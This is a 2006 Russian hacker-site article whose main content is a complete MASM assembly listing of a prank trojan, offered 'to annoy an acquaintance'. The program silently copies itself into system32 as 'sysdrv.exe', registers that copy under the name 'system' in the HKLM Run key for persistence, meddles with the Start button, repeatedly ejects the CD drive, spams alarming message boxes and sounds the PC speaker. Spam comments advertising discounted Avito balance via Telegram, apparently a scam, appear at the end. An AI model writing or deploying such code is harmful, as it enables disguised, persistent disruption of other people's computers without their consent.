Контакты

Для связи с нами можно использовать:
irc://irc.chatnet.ru:#gfs
icq://546460
email://cobalt[@]gfs-team.ru

Все материалы предоставлены только с ознакомительной целью
ГлавнаяСтатьиКодингЗападлянка на ассемблере
© s0 23.05.2006 статья не оптимизирована

Я не знаю как оформить это все в статью. Так что просто приведу листинг
программы с подробными комментариями. В кратце, программа вызывает всякие глюки
на компе. Подойдет тем кто хочет насолить знакомому. Кол-во глюков вы можете
дополнить, так же можете написать конфигуратор, чтобы каждый раз не компилиро-
вать заново.
Программа написанна на масме.

----------------------------листинг---------------------------------
;comilling
;ml /c /coff gluk.asm                         ; тут как копилировать.
;link /subsystem:windows gluk.obj
   .386
   .model flat,stdcall
   option casemap:none
   include  D:\staff\masm32\include\windows.inc
   include D:\staff\masm32\include\winmm.inc
   include D:\staff\masm32\include\advapi32.inc
   include D:\staff\masm32\include\shell32.inc
   include D:\staff\masm32\include\kernel32.inc
   include D:\staff\masm32\include\user32.inc
   includelib D:\staff\masm32\lib\user32.lib
   includelib D:\staff\masm32\lib\kernel32.lib
   includelib D:\staff\masm32\lib\shell32.lib
   includelib D:\staff\masm32\lib\Advapi32.lib
   includelib D:\staff\masm32\lib\winmm.lib

.data
;==========Settings============


;=========Действия=======
pusk db 'p',0                                    ;прячем кнопку пуск
reg  db 'r',0                                      ;прописыватся в реестр
cd_rom db 'c',0                               ;играть с сд-ромом
messg db 'm',0                                ;выдавать сообщение
bep db 'b',0                      ;издавать противный звук встроенным динамиком.
;====================== ;если не хотите чтобы какое нибудь действие выполнялось.
Просто вместо буквы в скобках поставьте 0

;========MessageBox======
mess db 'я знаю что ты сделал прошлым летом',0  ;само сообщение
cap  db 'зоркий глаз следит за тобой',0                    ;заголовок
;========================

;========Registry=============
hkey  dd HKEY_LOCAL_MACHINE
subkey db 'Software\Microsoft\windows\CurrentVersion\Run',0  ;в какую ветку
                                                         ;реестра прописыватся
key_mod dd KEY_WRITE
reg_name db 'system',0
reg_type dd REG_SZ
path db ' C:\WINDOWS\system32\sysdrv.exe',0
path_reg db 'C:\WINDOWS\system32\sysdrv.exe',0
strng db 'cmd.exe /c copy ',0
;=============================
;========Пуск=============
Class db 'Shell_TrayWnd',0
clButton db 'Button',0
send_message dd WM_SETTEXT
push_text db 'Fuck',0
;==========================

;==========CDROM===========
col db 5                               ;сколько раз выдвигать\задвигать сидиром
cdopen db 'open cdaudio',0
door_open db 'set cdaudio door open',0
door_close db 'set cdaudio door closed',0
cdclose db 'close cdaudio',0
;==========================

;========Settings END============

.data?
path2 dd ?
hKey dd ?
hFileName dd ?

.code
;=======Registry========
register proc
invoke RegOpenKeyEx, hkey, addr subkey, NULL, key_mod, addr hKey
invoke GetModuleHandle,0
invoke GetModuleFileName, eax, addr hFileName, MAX_PATH
invoke lstrcat, addr strng, addr hFileName
invoke lstrcat, addr strng, addr path
invoke WinExec, offset strng, SW_HIDE
invoke RegSetValueEx, hKey, addr reg_name, NULL,reg_type, addr path_reg,MAX_PATH
ret
register endp

;=======Пуск========
pusk_name proc
 invoke FindWindow, addr Class, NULL
 invoke FindWindowEx, eax, NULL, addr clButton, NULL
 cmp eax,0
 je _cdrom
 invoke ShowWindow, eax, SW_SHOW
 ;invoke SendMessage, eax, send_message, NULL, addr push_text
 ret
pusk_name endp

;============CDROM=========
cdromp proc
  push ecx
  mov al, byte ptr ds:col
  mov ecx, eax
_Loop:
 push ecx
 invoke mciSendString, addr cdopen, NULL, NULL, NULL
 invoke mciSendString, addr door_open, NULL, NULL, NULL
 invoke mciSendString, addr door_close, NULL, NULL, NULL
 pop ecx
 loop _Loop
 pop ecx
 invoke mciSendString, addr cdclose, NULL, NULL, NULL
 ret
cdromp endp
;=========================

;========Beep=======
beep proc
invoke Beep, 0fffh, 10000            ;частота звучания. Поиграйтесь со значением
invoke MessageBeep, MB_ICONASTERISK
ret
beep endp
;===================

;=======Main=============
start:
cmp reg,'r'
jne _pusk
;invoke Sleep, 60000d   ;если хотите чтобы глюки шли не подряд, а
                        ;с задержкой, то раскоментируйте эту строку
call register
_pusk:
cmp pusk, 'p'
jne _cdrom
;invoke Sleep, 60000d
call pusk_name
_cdrom:
cmp cd_rom, 'c'
jne _mess
;invoke Sleep, 60000d
call cdromp
_mess:
cmp messg, 'm'
jne _beep
;invoke Sleep, 60000d
push ecx
mov ecx,10d                      ;тут кол-во сообщение которое будет выведенно
_Loop:
push ecx
invoke MessageBox, NULL, addr mess, addr cap, MB_OK or MB_ICONSTOP
pop ecx
loop _Loop
_beep:
cmp bep, 'b'
jne _end
;invoke Sleep, 60000d
call beep
_end:
invoke ExitProcess,0
end start
;=====================

ну вот и все. Как компилить есть в начале листинга. Приятных заподлостроений.



© s0 23.05.2006 статья не оптимизирована

e-Commerce Partners Network
Ник:

Текст:
P Br B I Qute



Код: обновить
Последние комментарии
22.09.2017 18:36:49 Avito777jaf написал:
<b>Пополение баланса Авито (Avito) за 50%</b> | <b>Телеграмм @a1garant</b> <b>Здравствуйте,...
Новый релиз
22.09.2017 18:26:34 Avito777jaf написал:
<b>Пополение баланса Авито (Avito) за 50%</b> | <b>Телеграмм @a1garant</b> <b>Приветствую...
Сайт снова работает!
22.09.2017 18:12:48 Avito777jaf написал:
<b>Пополение баланса Авито (Avito) за 50%</b> | <b>Телеграмм @a1garant</b> <b>Приветствую...
Новая статья
Реклама

Тут должна была быть ваша реклама, но мы потеряли глиняную табличку с ее текстом. SapeId: 665044

Rambler's Top100